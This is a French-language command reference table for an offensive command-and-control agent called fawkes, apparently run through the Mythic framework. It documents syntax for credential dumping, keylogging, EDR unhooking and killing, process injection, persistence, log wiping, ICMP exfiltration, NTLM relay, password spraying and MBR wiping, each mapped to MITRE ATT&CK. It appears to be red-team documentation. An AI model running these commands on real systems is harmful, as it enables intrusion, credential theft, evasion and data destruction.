kerberoast | `kerberoast -server <DC> -username <user@domain> -password <pass> [-spn <SPN>]` | Demander des tickets TGS pour les comptes SPN et extraire les hachages au format hashcat pour craquage hors ligne. Auto-énumération via LDAP. Multi-plateforme (T1558.003).
klist | `klist -action <list\|purge\|dump\|import> [-server <filter>] [-ticket <base64>] [-path <path>]` | Énumérer, vider, purger et importer des tickets Kerberos. Importation permet le Pass-the-Ticket : Windows injecte kirbi via LSA, Linux/macOS écrit ccache + définit KRB5CCNAME. Multi-plateforme (T1558, T1550.003).
keychain | `keychain -action <list\|dump\|find-password\|find-internet\|find-cert> [-service <name>] [-server <host>]` | **(macOS uniquement)** Accéder au trousseau macOS — lister les trousseaux, vider les métadonnées, trouver les mots de passe génériques/Internet, énumérer les certificats.
kerb-delegation | `kerb-delegation -action <all\|unconstrained\|constrained\|rbcd\|monitor> -server <DC> -username <user@domain> -password <pass> [-duration <s>] [-interval <s>]` | Énumérer les relations de délégation Kerberos — non contrainte, contrainte (avec transition de protocole), RBCD. L'action **monitor** (Windows/SYSTEM uniquement) interroge LSA pour les TGT entrants et les exporte sous forme de blobs kirbi. Multi-plateforme sauf monitor (T1550.003, T1558).
keylog | `keylog -action <start\|stop\|dump\|status\|clear>` | Enregistreur de frappe bas niveau. Windows : SetWindowsHookEx. Linux : /dev/input evdev. macOS : IOKit HID. Détecte les événements de collage Ctrl+V/Cmd+V et capture le contenu du presse-papiers. Suivi du contexte de fenêtre sur toutes les plateformes (T1056.001).
lateral-check | `lateral-check -hosts <IPs/CIDRs> [-timeout <seconds>]` | Tester les options de mouvement latéral contre les cibles — vérifie la connectivité SMB, WinRM, RDP, RPC, SSH et suggère les méthodes applicables. Multi-plateforme (T1046, T1021).
last | `last [-action logins\|failed\|reboot] [-count 25] [-user <username>]` | Afficher l'historique des connexions, les tentatives de connexion échouées et les événements d'arrêt/démarrage du système. Linux : analyse wtmp/btmp. Windows : journaux d'événements Security/System. macOS : `last` natif + journal unifié. (T1087.001, T1110, T1082).
ldap-query | `ldap-query -action <users\|computers\|groups\|domain-admins\|spns\|asrep\|admins\|disabled\|gpo\|ou\|password-never-expires\|trusts\|unconstrained\|constrained\|dacl\|gmsa\|bloodhound\|query> -server <DC>` | Interroger Active Directory via LDAP. Requêtes prédéfinies pour utilisateurs, ordinateurs, groupes, administrateurs de domaine, tous les administrateurs (adminCount), SPN, AS-REP roastable, comptes désactivés, GPO, UO, mot de passe jamais expiré, approbations de domaine, délégation non contrainte/contrainte, analyse DACL, extraction de mot de passe gMSA, collecte BloodHound CE v6 (utilisateurs/ordinateurs/groupes/UO/GPO/approbations pour analyse graphique), ou filtres LDAP personnalisés. Multi-plateforme (T1087.002, T1482, T1555, T1003, T1615).
ldap-write | `ldap-write -action <add-member\|remove-member\|set-attr\|add-attr\|remove-attr\|set-spn\|disable\|enable\|set-password\|shadow-cred\|clear-shadow-cred\|create-machine\|rbcd\|delete\|gpo-task\|gpo-script\|template-esc1\|template-esc4> -server <DC> -target <obj>` | Modifier des objets AD via LDAP. Appartenance à un groupe, attributs, SPN, activation/désactivation de compte, réinitialisation de mot de passe, informations d'identification fantômes, création de compte machine, délégation RBCD, suppression d'objet. Abus GPO : injecter des tâches planifiées (gpo-task) ou des scripts de démarrage (gpo-script). ADCS : modifier les modèles de certificat pour l'exploitation ESC1/ESC4. Multi-plateforme (T1098, T1556.006, T1484.001, T1649).
kill | `kill -pid <PID>` | Terminer un processus par PID. Multi-plateforme (Windows/Linux/macOS).
laps | `laps -server <DC> -username <user@domain> -password <pass> [-filter <computer>]` | Lire les mots de passe LAPS depuis AD via LDAP. Prend en charge LAPS v1 (ms-Mcs-AdmPwd) et Windows LAPS v2 (ms-LAPS-Password). Multi-plateforme (T1552.006).
lsa-secrets | `lsa-secrets -action <dump\|cached>` | **(Windows uniquement)** Extraire les secrets LSA (mots de passe de service, clés DPAPI, compte machine) et les informations d'identification de domaine mises en cache (format hashcat DCC2/MSCacheV2). Nécessite SYSTEM (T1003.004, T1003.005).
launchagent | `launchagent -action <install\|remove\|list> -label <com.example.name> [-path <exe>] [-daemon true]` | **(macOS uniquement)** Installer, supprimer ou lister la persistance LaunchAgent/LaunchDaemon. Crée un plist avec RunAtLoad+KeepAlive.
link | `link -host <ip> -port <port> [-connection_type tcp\|namedpipe] [-pipe_name <name>]` | Lier à un agent P2P via TCP ou named pipe pour le pivotement interne. Le mode named pipe utilise le port SMB 445 pour un trafic Windows plus furtif. TCP multi-plateforme, named pipe Windows uniquement (T1572).
ln | `ln -target <existing> -link <new> [-symbolic true] [-force true]` | Créer des liens symboliques ou matériels. Les liens symboliques peuvent pointer vers des chemins inexistants. Le mode force remplace le lien existant. Multi-plateforme (T1036).
linux-logs | `linux-logs -action <list\|read\|logins\|clear\|truncate\|shred> [-file <path>] [-search <filter>] [-lines <n>]` | **(Linux uniquement)** Lister, lire, effacer ou falsifier les fichiers journaux Linux et les enregistrements de connexion binaires (wtmp/btmp/utmp). Prend en charge la suppression sélective de lignes et le déchiquetage sécurisé (T1070.002).
logonsessions | `logonsessions [-action list\|users] [-filter <name>]` | **(Windows, Linux, macOS)** Énumérer les sessions d'ouverture de session actives — utilisateurs, ID de session, stations, état de la connexion. Filtrer par nom d'utilisateur. Windows : API WTS. Linux : analyse utmp. macOS : analyse utmpx.
lolbin | `lolbin -action <technique> -path <payload/code/URL> [-export <func>] [-args <extra>]` | **(Windows, Linux, macOS)** Exécution proxy LOLBin/GTFOBin. Windows : rundll32, msiexec, regsvcs, regasm, mshta, certutil, regsvr32, installutil, vbs. Multi-plateforme : python, lua, perl, ruby, node, awk. Linux : curl, wget, gcc. macOS : osascript, swift, open, curl. T1218/T1059.
ls | `ls [path]` | Lister les fichiers et dossiers avec propriétaire/groupe et horodatages. Intégration du navigateur de fichiers. Par défaut dans le répertoire de travail.
make-token | `make-token -username <user> -domain <domain> -password <pass> [-action impersonate\|spawn\|auto-verify -command <cmd>]` | **(Windows uniquement)** Créer un jeton à partir d'identifiants : l'emprunter, lancer un processus, ou **auto-verify** (emprunter puis chaîne whoami + getprivs) (T1134.002).
masquerade | `masquerade -source <file> -technique <type> [-disguise <value>] [-in_place]` | Masquage et dissimulation de fichiers — déguiser les fichiers (double ext, RtLO, espace, correspondance de processus) ou cacher de l'énumération (cacher/décacher). Windows : attributs +H/+S. Linux : préfixe point. macOS : UF_HIDDEN + préfixe point (T1036, T1564.001).
mkdir | `mkdir <directory>` | Créer un nouveau répertoire (crée les répertoires parents si nécessaire).
module-stomp | `module-stomp -pid <PID> [-dll_name <DLL>]` | **(Windows uniquement)** Injecter du shellcode en piétinant la section .text d'une DLL légitime. Le shellcode s'exécute à partir de l'espace d'adressage d'une DLL signée, contournant la détection de mémoire privée (T1055.001).
modules | `modules [-pid <PID>] [-filter <name>]` | Lister les modules/DLL/bibliothèques chargés dans un processus avec filtrage optionnel par nom. Multi-plateforme (T1057).
mem-scan | `mem-scan -pid <PID> -pattern <string> [-hex] [-max_results <n>] [-context_bytes <n>]` | Rechercher des motifs d'octets dans la mémoire du processus avec sortie hexadécimale. Windows : VirtualQueryEx/ReadProcessMemory. Linux : /proc/pid/maps+mem. macOS : mach_vm_region/mach_vm_read (auto-scan uniquement). Prend en charge les motifs chaîne et hex. Multi-plateforme (T1005, T1057).
mount | `mount [-filter <substring>] [-fstype <type>]` | Lister les systèmes de fichiers montés avec périphérique, point de montage, type et options. Prend en charge le filtrage par nom ou type de système de fichiers. Multi-plateforme (T1082).
mv | `mv <source> <destination>` | Déplacer ou renommer un fichier de la source vers la destination.
named-pipes | `named-pipes [-filter <pattern>]` | **(Windows, Linux, macOS)** Lister les tubes nommés (Windows), sockets de domaine Unix et FIFO (Linux/macOS) pour la découverte IPC. Prend en charge le filtrage par sous-chaîne (T1083).
net-enum | `net-enum -action <users\|groups\|groupmembers\|admins\|sessions\|shares\|domainusers\|domaingroups\|domaininfo\|loggedon\|mapped> [-target <host>] [-group <name>]` | **(Windows, Linux, macOS)** Énumération réseau multi-plateforme. Utilisateurs, groupes, membres de groupe, administrateurs, sessions, partages. Windows : Win32 NetAPI (requêtes de domaine, lecteurs mappés). Linux : /etc/passwd + /etc/group + utmp + NFS/Samba. macOS : dscl + who + sharing. (T1033, T1049, T1087, T1135).
net-group | `net-group -action <list\|members\|user\|privileged> -server <DC> [-group <name>] [-user <sAMAccountName>] -username <user@domain> -password <pass>` | Énumérer les appartenances aux groupes AD via LDAP. Résolution récursive des membres, recherche de groupe utilisateur, énumération des groupes privilégiés. Multi-plateforme (T1069.002).
net-user | `net-user -action <add\|delete\|info\|password\|group-add\|group-remove\|disable\|enable\|lockout> -username <name> [-password <pass>] [-group <group>]` | Gérer les comptes d'utilisateurs locaux et l'appartenance aux groupes. Windows : API netapi32. Linux : useradd/userdel/usermod/chpasswd. macOS : dscl/dseditgroup. Désactiver/activer/verrouiller pour la simulation de ransomware T1531. Multi-plateforme (T1136.001, T1098, T1531).
net-stat | `net-stat [-state <LISTEN\|ESTABLISHED\|...>] [-proto <tcp\|udp>] [-port <number>] [-pid <number>]` | Lister les connexions réseau actives et les ports d'écoute avec protocole, état, PID et nom de processus. Prend en charge le filtrage par état, protocole, port et ID de processus. Multi-plateforme.
ntdll-unhook | `ntdll-unhook [-action unhook\|check] [-dll ntdll.dll\|kernel32.dll\|kernelbase.dll\|advapi32.dll\|user32.dll\|all] [-source disk\|knowndlls]` | **(Windows uniquement)** Supprimer les crochets EDR inline des DLL en restaurant la section .text à partir d'une copie propre. Prend en charge 5 DLL ou `all`. `check` signale les crochets sans modification. La source `knowndlls` utilise des objets de section \\KnownDlls\\ (évite les E/S disque — plus OPSEC-friendly) (T1562.001).
syscalls | `syscalls [-action status\|list\|init]` | **(Windows uniquement)** Résolveur d'appels système indirects. Analyse les exportations ntdll pour résoudre les numéros d'appels système Nt* et génère des stubs qui sautent vers le gadget syscall;ret de ntdll. Lorsqu'il est actif, les commandes d'injection contournent les crochets d'API en espace utilisateur (T1106).
opus-injection | `opus-injection` | **(Windows uniquement)** Injection de processus basée sur les rappels. Variante 1 : Chaîne du gestionnaire Ctrl-C. Variante 4 : PEB KernelCallbackTable. [Détails](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#opus-injection)
persist | `persist -method <method> -action <install\|remove\|check>` | **(Windows, Linux, macOS)** Installer ou supprimer une persistance. Windows : registre, dossier de démarrage, détournement COM, économiseur d'écran, ifeo, winlogon, processeur d'impression, accessibilité, active-setup, fournisseur de temps, moniteur de port, wmi-event (T1546.003), netsh-helper (T1546.007). Linux : crontab, systemd, shell-profile, ssh-key, xdg-autostart, motd (root, T1546), rc-local (root, T1037.004), apt-hook (root, T1546), udev-rule (root, T1546). macOS : launchagent, periodic (root, T1053.003), folder-action (T1546), login-item (T1547.015), auth-plugin (root, T1547.002), dylib-hijack (T1574.004, scan/install/remove), xpc-service (MachServices + KeepAlive). Toutes les méthodes prennent en charge install/remove/list.
persist-enum | `persist-enum [-category <all\|platform-specific>]` | **(Windows, Linux, macOS)** Énumération en lecture seule des mécanismes de persistance. Windows : registre, démarrage, tâches, services. Linux : cron, systemd, profils shell, clés SSH, LD_PRELOAD, règles udev, modules du noyau, motd, jobs at, services D-Bus, modules PAM, crochets de paquets, scripts logrotate, dispatcher NetworkManager, anacron. macOS : LaunchAgents, éléments de connexion, scripts périodiques, plugins d'authentification, emond, jobs at (T1547, T1546, T1053, T1543, T1556).
password-managers | `password-managers [-depth <N>]` | Découvrir les bases de données et fichiers de configuration des gestionnaires de mots de passe — KeePass (.kdbx), 1Password, Bitwarden, LastPass, Dashlane, KeePassXC. Multi-plateforme (T1555).
poolparty-injection | `poolparty-injection` | **(Windows uniquement)** Injecter du shellcode en utilisant les techniques PoolParty qui abusent des internes du pool de threads Windows. Les 8 variantes prises en charge. [Détails](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#poolparty-injection)
ping | `ping -hosts <IP/CIDR/range> [-port 445]` ou `ping -action exfil-icmp -target <IP> -file <path>` | Connectivité TCP (T1018) + exfiltration de données ICMP via des charges utiles de requête d'écho avec encodage XOR et gigue (T1048.003, T1095).
pipe-server | `pipe-server -action <check\|impersonate> [-name <pipe>] [-timeout 30]` | **(Windows uniquement)** Usurpation de tube nommé pour l'élévation de privilège. Créer un serveur de tube, attendre une connexion client privilégiée, usurper le jeton. Nécessite SeImpersonatePrivilege (T1134.001).
printspoofer | `printspoofer [-timeout 15]` | **(Windows uniquement)** Élévation de privilège PrintSpoofer — SeImpersonate vers SYSTEM via le spouleur d'impression. Crée un tube nommé, déclenche la connexion du spouleur via OpenPrinterW, usurpe le jeton SYSTEM. Une étape NETWORK SERVICE → SYSTEM (T1134.001).
pkg-list | `pkg-list [-filter <substring>]` | Lister les paquets et logiciels installés. Énumère dpkg/rpm/apk (Linux), Homebrew/Applications (macOS), ou les clés de désinstallation du registre (Windows). Prend en charge le filtrage par nom. Multi-plateforme (T1518).
port-scan | `port-scan -hosts <IPs/CIDRs> [-ports <ports>] [-timeout <s>]` | Scan TCP connect pour la découverte de services réseau. Prend en charge CIDR, plages IP et plages de ports. Multi-plateforme.
powershell | `powershell <command> [--encoded]` | **(Windows uniquement)** Exécuter une commande PowerShell via powershell.exe avec des indicateurs renforcés OPSEC (abréviés, randomisés). Prend en charge le mode de commande encodée pour masquer les arguments de l'arborescence des processus.
prefetch | `prefetch -action <list\|parse\|delete\|clear> [-name <exe>] [-count <max>]` | **(Windows uniquement)** Analyser et gérer les fichiers Prefetch Windows. Lister les programmes exécutés, analyser l'historique d'exécution (jusqu'à 8 horodatages), supprimer des entrées spécifiques, ou tout effacer. Prend en charge les fichiers compressés MAM (T1070.004).
privesc-check | `privesc-check -action <all\|auto-escalate\|privileges\|services\|registry\|uac\|dll-hijack\|dll-plant\|dll-sideload\|dll-exports\|hijack-execute\|hijack-deploy\|hijack-cleanup\|hijack-trigger\|service-registry\|...>` | Énumération et exploitation de l'élévation de privilège. `auto-escalate` : chaîne de sous-tâches automatisée — énumère tous les vecteurs puis tente la meilleure élévation disponible (contournement UAC, vol de jeton ou sudo). `hijack-execute` : usine de DLL proxy automatisée — lit les exportations de la DLL cible, le serveur compile la DLL proxy avec shellcode intégré (mingw). `hijack-deploy` : déploie la DLL proxy (renomme l'originale, place la proxy). `hijack-trigger` : déclenche le détournement — redémarre un service (`-trigger restart -service_name <svc>`) ou lance un processus (`-trigger spawn -source <exe>`) pour charger la DLL proxy. `hijack-cleanup` : inverse un détournement déployé (supprime la proxy, restaure l'originale). Windows : privilèges de jeton, services non cités, AlwaysInstallElevated, auto-logon, UAC, fichiers unattend, analyse de détournement DLL (DLL fantômes, PATH inscriptible, KnownDLLs), plantation DLL avec timestomping, sideloading DLL, énumération d'exportations PE (dll-exports avec génération de fichier DEF), abus des autorisations de registre de services. Linux : SUID/SGID, capacités, sudo, conteneurs, détournement cron, NFS no_root_squash, unités systemd, jetons sudo, détournement PATH, groupe docker, groupes dangereux, règles Polkit, crochets modprobe, injection ld.so.preload, modules de sécurité (AppArmor/SELinux). macOS : LaunchDaemons, TCC, détournement dylib, SIP. Multi-plateforme (T1548, T1574.001, T1574.002, T1574.009, T1574.011).
psexec | `psexec -host <target> -command <cmd> [-name <svcname>] [-cleanup <true\|false>]` ou `psexec -action check -host <target>` | **(Windows uniquement)** Exécuter des commandes sur des hôtes distants via la création de service SCM — mouvement latéral de type PSExec. `check` valide les prérequis (SMB 445, accès SCM, partages admin) sans exécuter. MITRE T1021.002, T1569.002.
proc-info | `proc-info -action <info\|connections\|mounts\|modules> [-pid <PID>]` | **(Linux uniquement)** Inspection approfondie de /proc : détails du processus (cmdline, env, caps, cgroups, espaces de noms, FD), connexions réseau avec résolution PID, montages, modules du noyau. MITRE T1057.
process-mitigation | `process-mitigation [-action query\|set] [-pid <PID>] [-policy <policy>]` | **(Windows uniquement)** Interroger ou définir les politiques d'atténuation des processus (DEP, ASLR, CIG, ACG, CFG). Définir CIG pour bloquer le chargement de DLL non signées (défense EDR). MITRE T1480.
process-tree | `process-tree [-pid <PID>] [-filter <name>]` | Afficher la hiérarchie des processus sous forme d'arbre avec relations parent-enfant. Aide à identifier les cibles d'injection et les outils de sécurité. Multi-plateforme (T1057).
procdump | `procdump [-action lsass\|dump\|search] [-pid <PID>]` | Vider la mémoire du processus. Windows : MiniDumpWriteDump avec découverte automatique de LSASS. Linux : vidage de région /proc/pid/mem. L'action Search trouve les processus contenant des identifiants. Télécharge vers Mythic et nettoie du disque. MITRE T1003.001, T1003.007.
proxy-check | `proxy-check [-test_url <URL>]` | Détecter les paramètres de proxy à partir des variables d'environnement, de la configuration OS (registre, fichiers de configuration) et du transport Go. Test de connectivité optionnel. Multi-plateforme (T1016).
ps | `ps [-filter <name>] [-pid <PID>] [-ppid <PPID>] [-user <name>] [-v]` | Lister les processus en cours avec l'intégration du navigateur de processus Mythic. Filtrer par nom, PID, PID parent ou nom d'utilisateur. Multi-plateforme.
ptrace-inject | `ptrace-inject -action <check\|inject> [-pid <PID>] [-filename <shellcode>] [-restore <true>] [-timeout <30>]` | **(Linux uniquement, amd64/arm64)** Injection de processus via ptrace — PTRACE_ATTACH/POKETEXT/SETREGS avec restauration des registres et du code. Pré-vérification Yama ptrace_scope avec conseils exploitables. Le mode Check signale ptrace_scope, les capacités et les candidats (T1055.008).
pty | `pty [-shell /bin/bash] [-rows 24] [-cols 80]` | **(Linux/macOS)** Démarrer une session interactive de shell PTY via le tâche interactive de Mythic. Émulation terminal complète avec E/S bidirectionnelles (T1059).
pwd | `pwd` | Afficher le répertoire de travail.
read-memory | `read-memory <dll_name> <function_name> <start_index> <num_bytes>` | **(Windows uniquement)** Lire des octets à partir de l'adresse d'une fonction DLL.
reg | `reg -action <read\|write\|delete\|search\|save\|creds> [-hive HKLM] [-path ...] [...]` | **(Windows uniquement)** Opérations unifiées du registre — lire, écrire, supprimer, rechercher et sauvegarder des ruches (T1012, T1112, T1003.002).
remote-reg | `remote-reg -action <query\|enum\|set\|delete> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-hive HKLM] [-path ...] [-name <val>]` | Lire/écrire le registre sur des hôtes Windows distants via WinReg RPC sur des tubes nommés SMB. Prend en charge le pass-the-hash. Multi-plateforme (T1012, T1112, T1021.002).
remote-service | `remote-service -action <list\|query\|create\|start\|stop\|delete\|modify-path\|trigger\|dll-sideload> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-name <svc>] [-binpath <path>]` | Gérer les services sur des hôtes Windows distants via SVCCTL RPC. Opérations standard + mouvement latéral avancé : modify-path (détourner le binpath d'un service existant), trigger (créer un service déclenché par événement), dll-sideload (détournement du registre ServiceDll). Pass-the-hash. Multi-plateforme (T1569.002, T1543.003, T1574.001).
rev2self | `rev2self` | **(Windows uniquement)** Revenir au contexte de sécurité d'origine en supprimant tout jeton d'emprunt actif.
route | `route [-destination <IP>] [-gateway <IP>] [-interface <name>]` | Afficher la table de routage système avec filtrage optionnel. Windows : API GetIpForwardTable, Linux : /proc/net/route + IPv6, macOS : netstat -rn. Multi-plateforme (T1016).
rpfwd | `rpfwd start <port> <remote_ip> <remote_port>` / `rpfwd forward <port> <target_ip> <target_port> [bind_addr]` / `rpfwd stop <port>` | Redirection de port : inverse (Mythic achemine vers la cible) ou directe (l'agent relaie vers la cible interne). Multi-plateforme (T1090).
rm | `rm [-path <path>] [-secure true]` | Supprimer un fichier ou un répertoire. `-secure true` écrase avec des données aléatoires (3 passes) avant la suppression, empêchant la récupération judiciaire (T1070.004).
run | `run <command>` | Exécuter une commande shell et retourner la sortie.
runas | `runas -command <cmd> -username <user> -password <pass> [-domain <domain>] [-netonly true]` | Exécuter une commande en tant qu'utilisateur différent. Windows : CreateProcessWithLogonW (prend en charge /netonly). Linux/macOS : setuid en tant que root, ou sudo -S avec mot de passe. Multi-plateforme (T1134.002).
schtask | `schtask -action <create\|query\|delete\|run\|list\|enable\|disable\|stop> -name <name> [-program <path>] [-trigger <type>] [-filter <substring>]` | Gérer les tâches planifiées. Windows : API COM du Planificateur de tâches. Linux : crontab, minuteries systemd, jobs at. macOS : LaunchAgents/LaunchDaemons, crontab, at. Multi-plateforme (T1053).
screenshot | `screenshot [-action single\|record] [-interval <sec>] [-duration <sec>] [-max_frames <n>]` | Capturer une seule capture d'écran ou enregistrer des captures continues à intervalles. Télécharge au format PNG. Mode record : intervalle/durée/max_frames configurables, arrêtable via jobkill. Windows : GDI. macOS : screencapture. Linux : détection automatique X11/Wayland. Multi-plateforme (T1113).
secret-scan | `secret-scan [-path /home/user] [-depth 5] [-max_results 100]` | Rechercher dans les fichiers des secrets, clés API, clés privées, chaînes de connexion et motifs sensibles. 42 motifs regex (AWS, GitHub, Slack, Stripe, Vault, DigitalOcean, Shopify, Databricks, New Relic, PagerDuty, Okta, Sentry, Datadog, CircleCI, etc.) avec masquage des valeurs. Parcours de répertoire limité en profondeur, ignore les répertoires bruyants. Multi-plateforme (T1552.001, T1005).
secure-delete | `secure-delete [-action delete\|wipe\|wipe-mbr] -path <file_or_device> [-passes <n>] [-confirm DESTROY]` | Supprimer des fichiers de manière sécurisée, effacer des données ou détruire des enregistrements de démarrage. `delete` : écrasement aléatoire + suppression. `wipe` : destruction agressive à motifs (T1485). `wipe-mbr` : écraser l'enregistrement de démarrage MBR/GPT sur un périphérique disque brut (T1561). Porte de sécurité requise. Multi-plateforme (T1070.004, T1485, T1561).
security-info | `security-info [-action all\|edr\|minifilter-enum\|kernel-drivers]` | Rapporter la posture de sécurité et les contrôles actifs, détecter les produits EDR/XDR (20+ fournisseurs), énumérer les pilotes minifilter avec classification EDR, ou lister les pilotes du noyau chargés avec analyse EDR/callback. SELinux/AppArmor/seccomp/ASLR (Linux), SIP/Gatekeeper/FileVault (macOS), Defender/UAC/Credential Guard/BitLocker (Windows). Multi-plateforme (T1082, T1518.001).
sniff | `sniff [-action capture\|poison\|relay\|ldap-relay] [-interface eth0] [-duration 30] [-response_ip <target>] [-protocols llmnr,nbtns,mdns] [-ports listen:target]` | Reniflage réseau, empoisonnement et relais NTLM. `capture` : extraction passive d'identifiants (HTTP, FTP, NTLM, Kerberos, LDAP, SMTP AUTH, Telnet). `poison` : répondeur actif avec capture de hachage SMB+HTTP — hachages NTLMv2 au format hashcat mode 5600. `relay` : relais NTLM vers SMB cible. `ldap-relay` : relais NTLM vers LDAP cible avec opérations post-authentification (whoami, add-computer, RBCD, dump-laps) (T1040, T1557.001).
share-hunt | `share-hunt -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-depth <n>] [-filter <all\|credentials\|configs\|code>]` | Parcourir les partages SMB sur plusieurs hôtes à la recherche de fichiers sensibles — identifiants, configurations, scripts. Recherche récursive de répertoire avec support pass-the-hash. Multi-plateforme (T1135, T1039).
smb | `smb -action <shares\|ls\|cat\|upload\|rm\|mkdir\|mv\|push\|exfil\|taint\|share-perms\|share-spider\|share-search> -host <target> -username <user> [-password <pass>] [-hash <NT hash>] [-share <name>] [-path <path>] [-depth <n>] [-extensions <.docx,.xlsx>] [-patterns <*.kdbx,web.config>] [-max_results <n>]` | Opérations sur fichiers SMB2 sur des partages distants — lister, parcourir, lire/écrire/supprimer, pousser pour le transfert d'outils latéral, exfiltrer pour l'exfiltration de données, tacher pour planter des fichiers. **share-perms** : tester l'accès en lecture/écriture sur tous les partages. **share-spider** : listage récursif de répertoire avec filtres de profondeur/extension. **share-search** : trouver des fichiers sensibles sur les partages en utilisant des motifs intégrés ou personnalisés. Authentification NTLM + pass-the-hash. Multi-plateforme (T1021.002, T1039, T1080, T1135, T1550.002, T1570, T1048.003).
service | `service -action <query\|start\|stop\|restart\|create\|delete\|list\|enable\|disable\|edr-enum\|edr-kill> -name <name> [-binpath <path>] [-confirm EDR-KILL]` | **(Windows, Linux, macOS)** Gérer les services + ciblage EDR/AV. `edr-enum` : détecter les services de sécurité installés (60+ signatures). `edr-kill` : arrêter+désactiver l'EDR détecté (porte de sécurité requise). Windows SCM, Linux systemd, macOS launchd (T1543, T1489, T1562.001).
setenv | `setenv -action <set\|unset> -name <NAME> [-value <VALUE>]` | Définir ou annuler des variables d'environnement dans le processus de l'agent. Multi-plateforme.
shell-config | `shell-config -action <history\|list\|read\|inject\|remove\|clear> [-file <.bashrc>] [-line <cmd>] [-lines <count>]` | Lire l'historique du shell, lister/lire/injecter/supprimer/effacer les fichiers de configuration du shell. Linux/macOS : bashrc/zshrc. Windows : profils PowerShell + historique PSReadLine. T1546.004/T1546.013/T1552.003/T1070.003.
sleep | `sleep [seconds] [jitter] [working_start] [working_end] [working_days]` ou `sleep -interval 60 -jitter 30 -jitter_profile normal` | Définir l'intervalle de rappel, la gigue, les heures de travail et le profil de distribution de la gigue (uniforme/normal/exponentiel). La distribution normale se regroupe près de l'intervalle ; exponentielle imite les schémas humains par à-coups.
socks | `socks <start\|stop\|stats\|bandwidth> [port] [-bandwidth_kbs N]` | Démarrer, arrêter, voir les statistiques ou définir la bande passante pour le proxy SOCKS5. Prend en charge TCP CONNECT et UDP ASSOCIATE (RFC 1928) pour le relais DNS/outils UDP via le proxy. Limitation optionnelle de la bande passante par connexion en Ko/s. Les statistiques montrent les connexions actives, les octets TX/RX, l'historique récent.
sort | `sort -path <file> [-reverse true] [-numeric true] [-unique true]` | Trier les lignes d'un fichier. Prend en charge les modes alphabétique, numérique, inverse et unique. Multi-plateforme (T1083).
spawn | `spawn -path <exe> [-ppid <pid>] [-blockdlls true]` | **(Windows uniquement)** Lancer un processus ou un thread suspendu pour injection. Prend en charge l'usurpation PPID (T1134.004) et le blocage des DLL non Microsoft.
spray | `spray -action <kerberos\|ldap\|smb> -server <DC> -domain <DOMAIN> -users <user1\nuser2> [-password <pass>] [-hash <NT hash>] [-delay <ms>] [-jitter <0-100>]` | Pulvérisation de mots de passe contre AD via pré-authentification Kerberos, liaison LDAP ou authentification SMB. SMB prend en charge le pass-the-hash. Sensible au verrouillage avec délai/gigue configurables. Multi-plateforme (T1110.003, T1550.002).
ssh | `ssh [-action exec\|push\|check\|tunnel-local\|tunnel-remote\|tunnel-dynamic\|tunnel-list\|tunnel-stop] -host <target> -username <user> [-password <pass>] [-key_path <path>] [-command <cmd>] [-local_port <port>] [-remote_host <host>] [-remote_port <port>]` | Exécuter des commandes, pousser des fichiers ou créer des tunnels SSH. `check` valide les prérequis SSH (port, auth, shell). tunnel-local (-L), tunnel-remote (-R), tunnel-dynamic (-D SOCKS5). Multi-plateforme (T1021.004, T1570, T1572).
ssh-agent | `ssh-agent [-action <list\|enum>] [-socket /path/to/agent.sock]` | **(Linux/macOS uniquement)** Énumérer les sockets de l'agent SSH et lister les clés chargées. Découvre SSH_AUTH_SOCK, scanne /tmp/ssh-*, /run/user/*, GNOME keyring. Signale les empreintes de clés au coffre d'identifiants (T1552.004).
ssh-keys | `ssh-keys -action <list\|add\|remove\|read-private\|enumerate\|generate\|find-reachable\|try-keys\|auto-move> [-key <ssh_key>] [-user <username>] [-targets <range>] [-host <ip>] [-username <user>] [-command <cmd>]` | Gestion des clés SSH et automatisation du mouvement latéral. Lire/injecter authorized_keys, lire les clés privées, générer des paires de clés, énumérer la configuration SSH. Mouvement latéral : find-reachable (scan de sous-réseau), try-keys (tester les clés), auto-move (chaîne scan→auth→exec). Windows : sessions PuTTY/registre, clés .ppk, WSL, OpenSSH, configuration Git SSH. Multi-plateforme (T1552.004, T1552.002, T1098.004, T1021.004, T1046).
stat | `stat -path <file_or_dir>` | Afficher les métadonnées d'un fichier/répertoire : type, taille, permissions, horodatages. Détails spécifiques à la plateforme — inode/propriétaire (Linux/macOS), attributs de fichier (Windows). Sensible aux liens symboliques via Lstat. Multi-plateforme (T1083).
strings | `strings -path <file> [-min_length <n>] [-pattern <text>] [-offset <bytes>] [-max_size <bytes>]` | Extraire les chaînes ASCII imprimables des fichiers. Trouver du texte intégré, des URL, des identifiants dans les binaires. Filtre de motif, contrôle de longueur minimale, offset/max_size. Multi-plateforme (T1005).
start-clr | `start-clr [-action execute-assembly -assembly <b64> -arguments <args>]` | **(Windows uniquement)** Initialiser CLR v4 ou exécuter des assemblies .NET. L'action `execute-assembly` corrige automatiquement AMSI+ETW et exécute l'assembly en une seule étape (comme CS execute-assembly). Mode manuel avec -amsi_patch/-etw_patch pour un contrôle fin.
systemd-persist | `systemd-persist -action <install\|remove\|list> -name <unit> [-exec_start <cmd>] [-timer <calendar>] [-system true]` | **(Linux uniquement)** Installer, supprimer ou lister la persistance de service/minuterie systemd. Portée utilisateur ou système. MITRE T1543.002.
steal-token | `steal-token -pid <pid> [-action spawn -command <cmd>]` | **(Windows uniquement)** Voler un jeton d'un autre processus : l'emprunter, ou lancer un processus avec (T1134.002).
token-store | `token-store -action <save\|list\|use\|remove\|history> -name <label>` | **(Windows uniquement)** Coffre de jetons nommé — sauvegarder, lister, restaurer, supprimer et voir l'historique des transitions d'identité. Permet un basculement rapide entre les identités volées/créées sans revoler (T1134.001).
suspend | `suspend -action <suspend\|resume> -pid <PID>` | Suspendre ou reprendre un processus. Pause tactique EDR/AV lors d'opérations sensibles. Windows : NtSuspendProcess/NtResumeProcess. Linux/macOS : SIGSTOP/SIGCONT. Multi-plateforme (T1562.001).
sysinfo | `sysinfo [-action info\|full-profile]` | Informations système complètes : version de l'OS, matériel, mémoire, durée de fonctionnement, domaine, .NET (Windows), statut SELinux/SIP. `full-profile` exécute une chaîne automatisée de profilage en 5 étapes (sysinfo → ps → security-info → privesc-check → persist-enum). Multi-plateforme (T1082).
